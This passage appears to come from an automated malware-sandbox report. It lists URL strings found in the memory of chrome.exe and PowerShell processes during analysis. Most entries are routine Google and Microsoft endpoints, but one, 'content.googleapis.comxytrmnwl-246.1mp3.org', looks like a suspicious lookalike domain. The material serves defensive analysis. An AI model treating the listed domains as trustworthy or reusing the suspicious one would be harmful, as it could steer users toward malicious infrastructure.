Source: chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159786626.000045440115C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://drive.google.com/drivesharing/clientmo
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?passive=1209600&osid=1&continue=https://drive.google.com/dr
Source: chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/AccountsSigninPassiveLoginHttp/cspreport
Source: chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/AccountsSigninPassiveLoginHttp/cspreport/allowlist
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/cspreport
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/d
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000009.00000002.4146632234.000045440008F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/_/AccountsSignInUi/cspreport
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/_/AccountsSignInUi/cspreport/allowlist
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/_/AccountsSignInUi/cspreport/fine-allowlist
Source: chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432993143.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2461423665.0000454400354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fdrive.google.com%2Fdriveshar
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000009.00000002.4149089481.000045440041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.comDE
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js
Source: powershell.exe, 00000003.00000002.1764500313.0000000006BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..winsvr
Source: powershell.exe, 00000005.00000002.1735899233.00000221C51D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000005.00000002.1735899233.00000221C51F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2692236412.00000242A4CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2671762643.000001A3BF930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1759728113.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1788756794.0000000004331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.0000000004F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1759728113.00000000043C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2692236412.00000242A6BBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/65742
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes
Source: chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes
Source: chrome.exe, 00000009.00000003.2651619822.0000454401030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153123476.0000454400A6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159505840.000045440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/s
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/js/api.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/js/client.js
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155405837.0000454400C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/js/googleapis.proxy.js?onload=startup
Source: chrome.exe, 00000009.00000003.2460481799.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&revi
Source: chrome.exe, 00000009.00000003.2490479037.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blobcomments-pa.clients6.google.com/v1/pdfFields?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&key
Source: chrome.exe, 00000009.00000002.4149326858.00004544004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: chrome.exe, 00000009.00000002.4149089481.000045440041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431968400.00004544024A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2211952830.0000454400CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431928718.000045440034C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreDE
Source: chrome.exe, 00000009.00000003.2428215202.000045440034C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2441264702.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1832426360.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2430787053.00004544024A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1829991046.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2212092732.0000454400DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431968400.00004544024A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2211952830.0000454400CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431928718.000045440034C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000009.00000002.4170999993.000057CC0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000009.00000003.1806550717.000057CC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1872388100.000057CC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1870211916.0000454401080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000009.00000002.4170999993.000057CC0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000009.00000003.1806550717.000057CC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1872388100.000057CC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1870211916.0000454401080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000009.00000002.4170999993.000057CC0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000009.00000003.1874085666.00004544011C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170999993.000057CC0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1807329600.000057CC00694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1807202154.000057CC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000009.00000003.1806550717.000057CC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1872388100.000057CC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1870211916.0000454401080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000009.00000002.4148539262.0000454400300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000009.00000002.4148539262.0000454400300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000009.00000002.4147471470.000045440017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000009.00000002.4152751264.0000454400A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000009.00000003.1792694609.000048FC002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1792395653.000048FC002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4134512921.000000CE685FC000.00000004.00000010.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151346768.0000454400850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150121127.0000454400670000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150462838.00004544006E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000009.00000002.4164003078.0000454402430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com
Source: chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160808645.00004544014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160077870.000045440130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149760334.00004544005D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167729952.0000454402DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164733435.000045440250C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157697771.0000454400EC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155405837.0000454400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151206737.000045440080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160342042.00004544013F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160296011.00004544013EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/.com/
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/.com/ED
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/ED
Source: chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/O
Source: chrome.exe, 00000009.00000002.4160077870.000045440130C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/Y
Source: chrome.exe, 00000009.00000002.4167729952.0000454402DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/p
Source: chrome.exe, 00000009.00000002.4150928544.000045440077C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148162493.00004544002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2460792331.0000454400360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152006296.0000454400958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147379748.000045440015C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150077395.0000454400664000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2557822147.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2461423665.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150973160.000045440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%
Source: chrome.exe, 00000009.00000002.4164003078.0000454402430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.comHX
Source: chrome.exe, 00000009.00000002.4155258370.0000454400C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content.googleapis.comxytrmnwl-246.1mp3.org
Source: powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chrome.exe, 00000009.00000002.4150263647.00004544006C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160808645.00004544014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2460792331.0000454400360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167236763.0000454402C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160922640.00004544015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160342042.00004544013F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160296011.00004544013EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apiserving
Source: chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2460792331.0000454400360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167236763.0000454402C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160922640.00004544015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150973160.000045440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apiserving;
Source: chrome.exe, 00000009.00000002.4160808645.00004544014C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apiservingDEED
Source: chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apiservingEDd4
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167675712.0000454402DA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157085846.0000454400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/clientupdate-aus/1
Source: chrome.exe, 00000009.00000002.4149948134.0000454400638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/clientupdate-aus/1EDc
Source: chrome.exe, 00000009.00000002.4152751264.0000454400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167414238.0000454402CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2259857905.0000454400F69000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160032440.000045440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160668985.0000454401498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157697771.0000454400EC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256221864.000045440242C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256624760.000045440283C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150166215.0000454400680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/docs-tt
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/docs-tt.orgDE
Source: chrome.exe, 00000009.00000002.4161583105.00004544017EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/docs-tt51
